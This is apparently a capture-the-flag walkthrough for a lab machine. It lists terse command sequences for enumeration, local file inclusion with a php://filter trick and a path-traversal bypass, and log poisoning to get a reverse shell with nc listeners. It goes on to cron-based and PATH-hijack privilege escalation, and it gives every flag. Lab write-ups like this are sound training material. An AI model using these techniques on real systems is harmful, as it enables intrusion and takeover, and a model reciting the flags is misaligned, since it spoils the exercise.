Task 1. Deploy Machine
A well known security solutions company seems to be doing some testing on their live machine. Best time to exploit it. Answer the questions below
Connect to openvpn and deploy the machine
No answer needed
Task 2. Get a shell
Enumerate the machine
Find a different hostname
nmap -sC -sV -A -p- $IPdirsearch -u <IP> -w /usr/share/wordlists/dirb/common.txcurl -s <IP> | grep ".thm"
mafialive.thm
Find flag 1
echo "<IP> mafialive.thm" | sudo tee -a /etc/hostscurl -s http://mafialive.thm/
thm{f0und_th3_r1ght_h0st_n4m3}
Look for a page under development
curl -s http://mafialive.thm/robots.txt
test.php
Find flag 2
curl -s http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.phpcurl -s http://mafialive.thm/test.php?view=/var/www/html/development_testing/test.phpcurl -s http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.phpecho "CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==" | base64 -d
thm{explo1t1ng_lf1}
Get a shell and find the user flag
curl -s http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.lognc -lvnp 4444python3 -c "import pty;pty.spawn('/bin/bash')"idls
cat user.txt
thm{lf1_t0_rc3_1s_tr1cky}
Task 3. Root the machine
Do privilege escalation
Get User 2 flag
cat /etc/crontabnc -lvnp 4445ls -lacat helloworld.shcd secretlscat user2.txt
thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
Root the machine and find the root flag
find /* -type f -perm -u=s 2>/dev/nulltouch cpnano cpcat cp#!/bin/bash/bin/bashchmod +x cpexport PATH=/home/archangel/secret:$PATH./backupcat /root/root.txt
thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}